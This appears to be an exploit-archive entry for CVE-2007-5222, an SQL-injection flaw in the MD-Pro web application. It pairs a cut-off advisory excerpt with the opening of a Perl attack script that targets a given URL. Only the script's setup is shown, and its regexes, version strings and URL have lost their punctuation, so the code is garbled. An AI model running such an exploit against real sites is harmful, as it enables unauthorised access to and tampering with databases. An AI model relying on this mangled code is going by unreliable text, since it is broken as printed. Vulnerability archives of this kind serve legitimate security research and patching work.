CVE-2007-5222

source: wwwsecurityfocuscom/bid/25864/info MD-Pro is prone to an SQL-injection vulnerability because the application fails to properly sanitize user-supplied input before using it in an SQL query A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlyin ...

#!/usr/bin/perl use strict; use IO::Socket; my $app = "MDPro 1076"; my $type = "SQL Injection"; my $author = "undefined1_"; my $settings = "magic_quotes_runtime = off, mysql >= 410"; $| = 1; print ":: $app $type - by $author ::\n\n\n"; my $url = shift || usage(); if($url =~ m/^(?:http:\/\/)(*)/) { $url = $1; } if($url !~ m/^*\/$/) { ...